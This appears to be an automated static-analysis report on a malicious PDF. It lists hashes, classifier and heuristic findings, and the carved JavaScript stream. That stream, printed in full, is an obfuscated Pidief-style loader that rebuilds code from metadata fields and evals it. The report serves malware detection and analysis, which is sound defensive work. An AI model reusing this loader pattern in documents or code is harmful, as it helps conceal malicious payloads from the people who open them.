Malicious PDF — malware analysis report

Static analysis result for SHA-256 deb551d03c905653…

MALICIOUS

PDF

18.1 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 8ef0f1e5b8ae2a1d5160f200a9b6531b SHA-1: 5b54883a1df2ba8f6c5c91559df26b002ec0b15b SHA-256: deb551d03c905653dfc07a6c80933ce028cc00f9c9f4834c59959ce795252d65
154 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x463E 355 bytes
SHA-256: 4b73dd9346b85e596172711bd4db9450b7cc3a9f804931aa68ffb924b2631718
Preview script
First 1,000 lines of the extracted script
var w = 4;
var epd = this.title.replace(/w/g,'*w,');
epd = epd.replace(/t/g,'2');
epd=epd.substr(0,epd.length-2) + ']';
egd=function(){return function(){return this}()}();
ffgmd=egd[this.subject];
gzblx=ffgmd(this.producer);
kco = ffgmd(epd);
var s = '';
for (i = 0; i < kco.length; i++) {
	jgnnz = kco[i];
	s += gzblx(jgnnz);
}
ffgmd(s);

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